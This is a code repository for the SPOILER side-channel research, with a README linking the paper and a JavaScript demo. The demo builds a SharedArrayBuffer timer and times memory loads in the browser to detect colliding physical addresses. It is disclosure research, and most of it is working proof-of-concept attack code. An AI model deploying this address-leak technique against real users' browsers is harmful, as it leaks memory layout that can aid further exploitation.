├── js_demo ├── SABcounterWorker.js ├── Test.html └── CollidingAddressSearch.js └── README.md /js_demo/SABcounterWorker.js: -------------------------------------------------------------------------------- 1 | self.addEventListener('message', (m) => { 2 | // Create an Int32Array on top of that shared memory area 3 | const sharedArray = new Uint32Array(m.data) 4 | 5 | while (1) { 6 | //iterations of uint32 values over 2^31 are much slower in firefox 7 | if(sharedArray[0] > 2000000000) 8 | sharedArray[0] = 0; 9 | 10 | sharedArray[0]++; 11 | } 12 | }); 13 | -------------------------------------------------------------------------------- /js_demo/Test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Press Ctrl+Shift+i to see the output.
5 | Possible colliding addresses are marked with a "###"
6 | value between "()" is the distance to the last colliding address
7 | 8 |
9 | 10 | Make sure that SharedArrayBuffers are enabled (enabled by default in chrome >=68).

11 | 12 | How to enable SharedArrayBuffers?
13 | firefox:
14 | about:config => javascript.options.shared_memory => true

15 | 16 | chrome, chrome based browser (e.g. opera):
17 | chrome://flags/ => shared-array-buffer => true
-------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Spoiler 2 | Code examples and paper for the Spoiler-Attack 3 | 4 | The paper can be found here https://arxiv.org/abs/1903.00446 5 | 6 | ## Repository content 7 | You can find a demo of the SPOILER-leakage from JS in js_demo. 8 | 9 | ## Shared array buffers 10 | We use a counter based on shared array buffers, so make sure they are enabeled before running any tests: 11 | 12 | firefox: 13 | about:config => javascript.options.shared_memory => true 14 | 15 | chrome: 16 | chrome://flags/ => shared-array-buffer => true 17 | 18 | opera: 19 | chrome://flags/ => shared-array-buffer => true 20 | 21 | edge: 22 | status removed 23 | https://www.neowin.net/news/microsoft-mitigates-javascript-vulnerabilities-in-edge-and-internet-explorer 24 | -------------------------------------------------------------------------------- /js_demo/CollidingAddressSearch.js: -------------------------------------------------------------------------------- 1 | initSABCounterAndSearch(); 2 | 3 | function initSABCounterAndSearch(pageCount = 5000){ 4 | var SABcounterWorker = getNewSABCounter(); 5 | var sharedBuffer = new SharedArrayBuffer(Uint32Array.BYTES_PER_ELEMENT); 6 | var SABCounterArray = new Uint32Array(sharedBuffer); 7 | SABcounterWorker.postMessage(sharedBuffer); 8 | 9 | //get timer time to warm-up 10 | var millisecondsToWait = 500; 11 | setTimeout(function() { 12 | //timer returns valid results? 13 | var timeStamp = 0; 14 | while(SABCounterArray[0] == 0 || SABCounterArray[0] - timeStamp > 100){ 15 | timeStamp = SABCounterArray[0]; 16 | } 17 | findCollidingAdd(pageCount, SABCounterArray); 18 | 19 | //save some energy 20 | SABcounterWorker.terminate(); 21 | }, 500); 22 | } 23 | 24 | function getNewSABCounter(){ 25 | function SABcounterWorker(){ 26 | self.addEventListener('message', (m) => { 27 | // Create an Int32Array on top of that shared memory area 28 | const sharedArray = new Uint32Array(m.data) 29 | 30 | while (1) { 31 | sharedArray[0]++; 32 | } 33 | }); 34 | } 35 | 36 | var SABcounterWorker; 37 | 38 | //browser security polices are fun!!!!!!! 39 | if(!!window.chrome && !!window.chrome.webstore){ //isChrome 40 | SABcounterWorker = new Worker(URL.createObjectURL(new Blob(["("+SABcounterWorker.toString()+")()"], {type: 'text/javascript'}))); 41 | } else { 42 | if (typeof InstallTrigger !== 'undefined'){ /*isFirefox*/ } else { 43 | console.log("The Default Content Security Policies of your browser might be matchting with Firefox. Hope for the best!"); 44 | } 45 | SABcounterWorker = new Worker("SABcounterWorker.js"); 46 | } 47 | 48 | return SABcounterWorker; 49 | } 50 | 51 | //5 round is prob enough 52 | function findCollidingAdd(pageCount, SABCounterArray, rounds = 100, windowSize = 64){ 53 | var pageSize = 4096; 54 | var uint32Buffer = new Uint32Array(pageCount * (pageSize/4)); 55 | var uint32Buffer2 = new Uint32Array(pageCount * (pageSize/4)); 56 | var uint16MeasurementArr = new Uint16Array(pageCount); 57 | var detectionWindowSize = 10; 58 | var candidateIndex = 2*1024; //multiple of 1024! 59 | 60 | for (var p = windowSize; p < pageCount; p++) { 61 | var total = 0; 62 | 63 | for (var r = 0; r < rounds; r++) { 64 | // Stores 65 | for (var i = windowSize; i >= 0; i--) { 66 | //uint32Buffer[(p - i) * 1024] = 0; 67 | uint32Buffer[i * 1024] = 0; 68 | 69 | //uint32Buffer2[(p - i) * 1024] = 0; 70 | } 71 | uint32Buffer[p * 1024] = 0; 72 | // Measuring load 73 | var before = Atomics.load(SABCounterArray, 0); 74 | 75 | var val = uint32Buffer[candidateIndex]; 76 | 77 | //insert some useless incrementations to get "superior" peaks 78 | //this incrementations stuff might not be needed on every system 79 | val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++; 80 | 81 | var after = val; 82 | 83 | after += Atomics.load(SABCounterArray, 0); 84 | total += (after - before) - val; 85 | } 86 | uint16MeasurementArr[p] = total / rounds; 87 | } 88 | 89 | //output times, mark possible colliding addresses with a "###" 90 | //value between "()" is the difference to last colliding address 91 | var lock = 0, diff=0; 92 | var output = ""; 93 | for(var p = windowSize; p < pageCount; p++) { 94 | if(p > windowSize + detectionWindowSize 95 | && lock < 0 96 | && collidingAddressCheck(uint16MeasurementArr, p, detectionWindowSize)){ 97 | lock = 10; 98 | output += "###("+ diff + ")"; 99 | diff = 1; 100 | } else{ 101 | lock--; 102 | diff++; 103 | } 104 | 105 | output += " " + uint16MeasurementArr[p]; 106 | if(uint16MeasurementArr[p] > 45){ 107 | output += "##"; 108 | } 109 | } 110 | console.log(output); 111 | } 112 | 113 | function subArrayAverage(arr, start, detectionWindowSize) { 114 | var sum = 0; 115 | for (var i = 0; i < detectionWindowSize; i++) { 116 | sum += arr[start + i]; 117 | } 118 | return sum / detectionWindowSize; 119 | } 120 | 121 | function collidingAddressCheck(measurementArr, p, detectionWindowSize) { 122 | var movingWindowAverage = subArrayAverage( 123 | measurementArr, p - detectionWindowSize - 1, detectionWindowSize); 124 | 125 | if (measurementArr[p] < 100 && measurementArr[p-1] < 100 && 126 | measurementArr[p] > movingWindowAverage + 5 && 127 | measurementArr[p-1] > movingWindowAverage + 10 && 128 | measurementArr[p-1] > measurementArr[p-2] + 10) { 129 | return true; 130 | } 131 | return false; 132 | } 133 | --------------------------------------------------------------------------------